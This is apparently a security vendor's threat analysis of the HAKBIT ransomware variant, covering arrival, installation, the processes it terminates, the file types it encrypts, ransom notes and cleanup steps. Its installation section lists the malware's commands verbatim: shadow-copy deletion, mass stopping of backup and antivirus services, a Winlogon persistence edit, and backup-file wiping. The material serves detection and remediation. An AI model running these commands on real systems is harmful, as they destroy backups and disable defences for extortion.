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Ransom.MSIL.HAKBIT.I

August 17, 2020
 Analysis by: Mc Justine De Guzman
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet


This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes then deletes itself afterward.

It encrypts files with specific file extensions. It drops files as ransom note.

  TECHNICAL DETAILS

File Size:

84,480 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

20 Jul 2020

Payload:

Terminates processes, Connects to URLs/IPs, Downloads files, Deletes files, Restarts system, Displays message/message boxes

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware adds the following processes:

  • "reg.exe" delete HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend /f;
  • "bcdedit.exe" /set {default} safeboot network;
  • "reg.exe" add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d {Malware full path},"C:\Windows\system32\userinit.exe" /f;
  • "net.exe" user {Username} "";
  • "shutdown.exe", "/r /t 0"
  • "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  • powershell.exe "Get-MpPreference -verbose"
  • net.exe stop avpsus /y
  • net.exe stop McAfeeDLPAgentService /y
  • net.exe stop mfewc /y
  • net.exe stop NetBackup BMR MTFTP Service /y
  • net.exe stop DefWatch /y
  • net.exe stop ccEvtMgr /y
  • net.exe stop ccSetMgr /y
  • net.exe stop SavRoam /y
  • net.exe stop RTVscan /y
  • net.exe stop QBFCService /y
  • net.exe stop QBIDPService /y
  • net.exe stop Intuit.QuickBooks.FCS /y
  • net.exe stop QBCFMonitorService /y
  • net.exe stop YooBackup /y
  • net.exe stop YooIT /y
  • net.exe stop zhudongfangyu /y
  • net.exe stop stc_raw_agent /y
  • net.exe stop VSNAPVSS /y
  • net.exe stop VeeamTransportSvc /y
  • net.exe stop VeeamDeploymentService /y
  • net.exe stop VeeamNFSSvc /y
  • net.exe stop veeam /y
  • net.exe stop PDVFSService /y
  • net.exe stop BackupExecVSSProvider /y
  • net.exe stop BackupExecAgentAccelerator /y
  • net.exe stop BackupExecAgentBrowser /y
  • net.exe stop BackupExecDiveciMediaService /y
  • net.exe stop BackupExecJobEngine /y
  • net.exe stop BackupExecManagementService /y
  • net.exe stop BackupExecRPCService /y
  • net.exe stop AcrSch2Svc /y
  • net.exe stop AcronisAgent /y
  • net.exe stop CASAD2DWebSvc /y
  • net.exe stop CAARCUpdateSvc /y
  • net.exe stop sophos /y
  • sc.exe config SQLTELEMETRY start= disabled
  • sc.exe config SQLTELEMETRY$ECWDB2 start= disabled
  • sc.exe config SQLWriter start= disabled
  • sc.exe config SstpSvc start= disabled
  • taskkill.exe /IM mydesktopservice.exe /F
  • taskkill.exe /IM mspub.exe /F
  • taskkill.exe /IM mydesktopqos.exe /F
  • vssadmin.exe Delete Shadows /all /quiet
  • vssadmin.exe resize shadowstorage /for={Drive from C to H} /on={Drive from C to H} /maxsize=401MB
  • vssadmin.exe resize shadowstorage /for={Drive from C to H} /on={Drive from C to H} /maxsize=unbounded
  • del.exe /s /f /q {Drive from C to H}\*.VHD {Drive from C to H}\*.bac {Drive from C to H}\*.bak {Drive from C to H}\*.wbcat {Drive from C to H}\*.bkf {Drive from C to H}\Backup*.* {Drive from C to H}\backup*.* {Drive from C to H}\*.set {Drive from C to H}\*.win {Drive from C to H}\*.dsk
  • cmd.exe", "/c rd /s /q %SYSTEMDRIVE%\$Recycle.bin

It executes then deletes itself afterward.

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\{GUID}

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeText = All your files were encrypted, if you want to get them all back, please carefully read the text note located in your desktop...

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = Information...

Process Termination

This Ransomware terminates the following processes if found running in the affected system's memory:

  • http analyzer stand-alone
  • fiddler
  • effetech http sniffer
  • firesheep
  • IEWatch Professional
  • dumpcap
  • wireshark
  • wireshark portable
  • sysinternals tcpview
  • NetworkMiner
  • NetworkTrafficView
  • HTTPNetworkSniffer
  • tcpdump
  • intercepter
  • Intercepter-NG
  • ollydbg
  • x64dbg
  • dnspy
  • dnspy-x86
  • de4dot
  • ilspy
  • dotpeek
  • dotpeek64
  • ida64
  • procexp
  • procexp64
  • RDG Packer Detector
  • CFF Explorer
  • PEiD
  • protection_id
  • LordPE
  • pe-sieve
  • MegaDumper
  • UnConfuserEx
  • Universal_Fixer
  • NoFuserEx

Download Routine

This Ransomware downloads the file from the following URL and renames the file when stored in the affected system:

  • https://raw.{BLOCKED}sercontent.com/d35ha/ProcessHide/master/bins/ProcessHide32.exe - if running on 32-bit
  • https://raw.{BLOCKED}sercontent.com/d35ha/ProcessHide/master/bins/ProcessHide64.exe - if running on 64-bit

It saves the files it downloads using the following names:

  • %User Temp%\{random}.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Ransomware encrypts files with the following extensions:

  • .crypted

It does the following:

  • Monitors the following processes and hides itself using ProcessHide{32 or 64} if found running:
    • TaskMgr
    • ProcessHacker
    • procexp
  • Deletes backup files from the drives
  • Deletes contents of Recycle Bin
  • It restarts the affected system in safe mode.

Ransomware Routine

This Ransomware encrypts files with the following extensions:

  • dat
  • txt
  • jpeg
  • gif
  • jpg
  • png
  • php
  • cs
  • cpp
  • rar
  • zip
  • html
  • htm
  • xlsx
  • xls
  • avi
  • mp4
  • ppt
  • doc
  • docx
  • sxi
  • sxw
  • odt
  • hwp
  • tar
  • bz2
  • mkv
  • eml
  • msg
  • ost
  • pst
  • edb
  • sql
  • accdb
  • mdb
  • dbf
  • odb
  • myd
  • php
  • java
  • cpp
  • pas
  • asm
  • key
  • pfx
  • pem
  • p12
  • csr
  • gpg
  • aes
  • vsd
  • odg
  • raw
  • nef
  • svg
  • psd
  • vmx
  • vmdk
  • vdi
  • lay6
  • sqlite3
  • sqlitedb
  • accdb
  • java
  • class
  • mpeg
  • djvu
  • tiff
  • backup
  • pdf
  • cert
  • docm
  • xlsm
  • dwg
  • bak
  • qbw
  • nd
  • tlg
  • lgb
  • pptx
  • mov
  • xdw
  • ods
  • wav
  • mp3
  • aiff
  • flac
  • m4a
  • csv
  • sql
  • ora
  • mdf
  • ldf
  • ndf
  • dtsx
  • rdl
  • dim
  • mrimg
  • qbb
  • rtf
  • 7z

It drops the following file(s) as ransom note:

  • %User Temp%\HOW_TO_DECYPHER_FILES.txt
  • %Destktop%\HOW_TO_DECYPHER_FILES.hta
  • %Destktop%HOW_TO_DECYPHER_FILES.txt

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

16.164.06

FIRST VSAPI PATTERN DATE:

14 Aug 2020

VSAPI OPR PATTERN File:

16.165.00

VSAPI OPR PATTERN Date:

15 Aug 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    • Troj.Win32.TRX.XXPE50FFF036

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Desktop%\HOW_TO_DECYPHER_FILES.txt
  • %Desktop%\HOW_TO_DECYPHER_FILES.hta
  • %User Temp%\HOW_TO_DECYPHER_FILES.txt

Step 6

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    • LegalNoticeText = All your files were encrypted, if you want to get them all back, please carefully read the text note located in your desktop...
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    • LegalNoticeCaption = Information...

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Ransom.MSIL.HAKBIT.I. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Restore encrypted files from backup.


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